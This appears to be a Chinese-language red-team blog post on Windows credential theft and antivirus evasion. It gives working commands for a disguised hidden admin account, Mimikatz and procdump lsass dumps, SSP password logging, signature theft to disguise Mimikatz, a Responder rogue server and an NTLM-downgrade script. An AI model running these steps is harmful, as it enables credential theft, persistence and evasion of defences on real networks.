管中窥豹,可见一斑。Windows密钥窃取防护与绕过技术的背后,是红蓝对抗大环境的更新迭代。–hosch3n瞎编的

Mimikatz非交互执行

在很久很久以前,通过高卢神器Mimikatz扒Windows的系统密码,就已经是横向移动的标配手段之一。那时候,运维对 AV / EDR / IDS / IPS 还没什么概念,更不用提威胁情报、欺骗防御了。于是只要找个论坛下载原封不动编译好的猕猴桃,远程桌面连上去就能扒下更多的账户密码。

可能有同学要怼我了,你密码都不知道怎么连远程桌面扒密码?前辈们其实也遇到了这个问题,所以除了RDP密码泄漏这种途径,常常会先添加一个伪装成机器用户的管理员:

1
2
3
4
5
6
7
8
:: 添加用户
net user system$ Passw0rd! /add
:: 加入管理员组
net localgroup administrators system$ /add
:: 开启远程登录
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
:: 查询端口
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber

又或者通过WebShell非交互式地将输出重定向到文件:

mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit >> hash.txt

这引起了某些反病毒软件(AV)的注意,它们将“mimikatz”加入了特征库,也有的会拦截WebShell加系统用户的行为。这时常用的绕过技术有了两条分支,一种是对mimikatz做免杀,另一种是dump存在密钥的lsass进程。

免杀Mimikatz

先聊聊对Mimikatz做免杀,反病毒软件两大主要的着力点应该就是对静态特征和动态行为的查杀了,绕过静态特征查杀的基础就是修改特征码。AV厂商(怎么怪怪的)自然会选取正常软件几乎没有,而恶意软件特有的东西作为特征来规避误报。无论是WebShell脚本还是恶意软件的免杀,就是伪装成正常文件逃避检测,因此定个小目标,伪装成SysinternalsSuitePsExec64.exe

浏览一遍源码,感觉可能被用作特征码的字段有这些:

批量将其改为psexec、pslib等,并修复头文件引用。

项目中的*.rc文件标识着程序元信息:

查看PsExec64.exe的元信息会因为窗口大小被遮挡一部分(无法调整窗口大小),一些括号等特殊符号肉眼也无法区分是半角还是全角、周围有没有空格,手敲模仿不但累还容易敲错。

可以利用FileMeta项目将exe文件元信息设置为可编辑,复制后替换Mimikatz的元信息。

mimilib子项目加载Dll后会生成log记录文件:

通常会将mimilib.dll放在system32路径下,出现log文件显然不正常,同时注意到文件写入均为追加模式,我们将这些*.log文件批量替换为msgsm64.acm用于伪装。

编译完成后利用SigThief项目给生成的exe和dll加上PsExec64.exe的证书,强行偷来的证书校验自然是对不上的,目前某些杀软可能是出于 性能 / 误报 考虑,似乎并未对白签名证书程序进行校验。

也可通过PowerSploit的Out-EncryptedScript脚本,生成加密的Invoke-Mimikatz绕过AV。

  • 绕过行为特征查杀目前已有多种内存申请、进程注入、规避敏感接口等等方法,但这不是本文的重点之后有缘再聊。

进程dump

静态免杀能过动态行为不一定能过,上面纯属耍小聪明运气好罢了,Mimikatz本身调用了大量WinAPI,改起来有亿点门槛。在网络环境好的情况下,可以dump出lsass进程并将内存dump文件下载回本地读取:

1
2
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

起初可以用各种工具Dump lsass进程,后来一般只有SysinternalsSuiteprocdump才不会告警了。

  • GUI环境下也可以利用任务管理器等程序

AddSecurityPackage

虽然部分杀软对procdump不告警,但在网络环境恶劣的内网还是相当不友好,再如果碰上有卡巴斯基的机器更是直接嗝屁:

至此我们需要了解一个叫SSP(Security Support Provider)的东西,它是SSPI(Security Support Provider Interface)这个Windows认证API的具体dll实现,通过EnumerateSecurityPackages接口可以枚举出已加载的SSP。mimilib.dll就具备SSP的功能,需要在注册表中添加Dll路径并调用AddSecurityPackage API加载SSP(或者重启):

1
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v "Security Packages" /t REG_MULTI_SZ /d "pslib64.dll" /f

  • 放在System32目录的pslib64.dll为免杀的mimilib.dll,图中伪装为DPA SSP

发生锁屏登录或是runas等认证行为后,会将明文密码记录在System32下的msgsm64.acm中(默认在kiwissp.log):

1
2
3
4
5
6
7
8
9
[00000000:000003e7] [00000002] WORKGROUP\WIN2019$ (WIN2019$)	
[00000000:0000b1bd] [00000002] WORKGROUP\WIN2019$ (UMFD-0)
[00000000:0000b1dd] [00000002] WORKGROUP\WIN2019$ (UMFD-1)
[00000000:000003e4] [00000005] WORKGROUP\WIN2019$ (NETWORK SERVICE)
[00000000:000108e8] [00000002] WORKGROUP\WIN2019$ (DWM-1)
[00000000:00010927] [00000002] WORKGROUP\WIN2019$ (DWM-1)
[00000000:000003e5] [00000005] \ (LOCAL SERVICE)
[00000000:000205d2] [00000002] WIN2019\ryan (ryan) toor
[00000000:0002064b] [00000002] WIN2019\ryan (ryan) toor

这样做好处就是能扒到明文密码、会进行持久化更新和记录,坏处就是Dll要免杀、有时候也并不一定要持久化或是拿到明文密码才行,并且需要修改注册表、调用AddSecurityPackage API、可被EnumerateSecurityPackages API枚举查看、还要等一个有缘人触发登录行为。

很多时候会有点得不偿失,于是XPN在对MimikatzSecur32.dll跟进深入分析后,发现了以下几个要点:

  1. WDigest会调用SpAcceptCredentials缓存凭据

  2. Mimilib在明文凭据传入调用后将其保存到文件里

  3. MemSSP搜索lsass进程中的msv1_0.dll,通过WriteProcessMemory Hook SpAcceptCredentials

  4. AddSecurityPackage API会通过SspirCallRpc调用lsass,通知lsass加载SSP

Github Gist有不使用AddSecurityPackage API加载Dll的代码,咱们对其稍作修改:

  1. 引入静态链接库#pragma comment(lib, "Rpcrt4.lib")

  2. 修改工程字符集为Use Multi-Byte Character Set

  1. 为了用起来方便,将原本的绝对路径加载Dll改为相对相对路径加载(可以用判断目录等方式实现兼容绝对路径和相对路径,但懒得搞感觉不是很必要)

  1. 最后整一个查找lsass进程并Dump内存的Dll:

  1. 利用RPC调用lsass加载Dll并Dump自身内存:

好处是无需修改注册表、枚举SSP查不到,坏处是网络环境恶劣时不方便将Dump文件下载回来,所以也可以考虑用XPN公布的memssp版Dll

Net-NTLMv1

为了缓解内存中WDigest的明文密码泄漏,微软发布了KB2871997(当然这个补丁作用不止于此),会在登录后将明文缓存清除掉,并且限制本地Administrator(RID 500)和本地管理员组的域用户之外的用户进行PTH(比如本地管理员组的其它用户不行)。

PassTheHash(PTH)通常是指利用NTLM哈希完成Windows身份认证这一类行为,具体可通过mimikatzpsexecsmbexecatexecwmiexecdcomexecWinRM等等实现。但我们不妨思考一下,为什么可以不需要明文密码?

Web应用通常是服务端收到HTTP/S传输来的明文密码(当然也有会前端加密的),在服务端对明文密码哈希计算并与数据库中存储的密码哈希比对,所以得到密码哈希后,需要由彩虹表查出明文密码才能登录。但NTLM身份认证是由客户端将用户输入的明文密码转化为NTLM哈希并加密为Net-NTLM后再由SMB、HTTP等协议传输,这就是为什么很多时候并不需要明文密码。

LM哈希(LAN Manager Hash)是NT5系列操作系统的密码默认加密方式,将明文规则变换后进行DES加密。实现方式使其可加密的最大长度为14、无法区分大小写、密文强度不高。

随后微软设计了基于challenge/response机制的NTLM(NT LAN Manage)身份验证协议,从NT6操作系统开始将NTLM Hash作为密码默认加密方式。

  1. 在进行身份认证的过程中,客户端会以NTLM哈希作为密钥,通过3DES(NTLMv1)/ HMAC-MD5(NTLMv2)算法加密服务端发来的challenge,进行规则变换后最终得到net-ntlm哈希。

  2. 服务端取出密码库里存的NTLM哈希,以同样的算法加密challenge,比对客户端发来的net-ntlm哈希判断密码是否正确。

  3. 如果是域环境则密码库可能不在同一个服务端(在域控上),此时服务端会由Pass Through Authentication机制,通过netlogon协议向域控转发客户端信息。

其中NTLMv1根据有无Client Challenge参与,可分为第一种Net-NTLMv1哈希和另一种Net-NTLMv1-SSP哈希。而第一种Net-NTLMv1哈希因实现方式的问题,导致可以设置一个固定的Sever Challenge(1122334455667788)建立Rogue Server,在目标系统向我们建立的恶意服务器发起SMB请求(最简单的就是访问一个UNC路径\\1.1.1.1),通过彩虹表可查到解密后的NTLM哈希。

sudo ./Responder.py -I wlp2s0 -wrfv --lm

这样就可不对Lsass进程毛手毛脚就获取到NTLM哈希,当然也可以尝试更进一步通过彩虹表查出NTLM哈希对应的明文密码。

不过实际利用中可能会出现这种情况:

这是因为高版本的Windows服务器上可能不存在SMBv1客户端,其次LMCompatibilityLevel的值也会有影响。可以利用PowerShell修改注册表并安装SMBv1客户端,注意会导致系统重启!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function Set-Relay
{
# LMCompatibilityLevel
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa\" /v lmcompatibilitylevel /t REG_DWORD /d 2 /f
# NTLMMinClientSec
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0\" /v NtlmMinClientSec /t REG_DWORD /d 536870912 /f
# RestrictSendingNTLMTraffic
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0\" /v RestrictSendingNTLMTraffic /t REG_DWORD /d 0 /f

# Enable SMBv1
Enable-WindowsOptionalFeature -Online -FeatureName smb1protocol
# DisableLoopbackCheck
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\" /v LsaDisableLoopbackCheck /t REG_DWORD /d 1 /f
}
Set-Relay

参考链接

Exploring Mimikatz - Part 2 - SSP

Mimikatz中SSP的使用

这是一篇“不一样”的真实渗透测试案例分析文章

dump lass 工具

通过Windows蓝屏文件来绕过kaspersky的内存保护抓密码

Protecting Privileged Domain Accounts: Network Authentication In-Depth

Net-NTLM v1 的破解

Network security: LAN Manager authentication level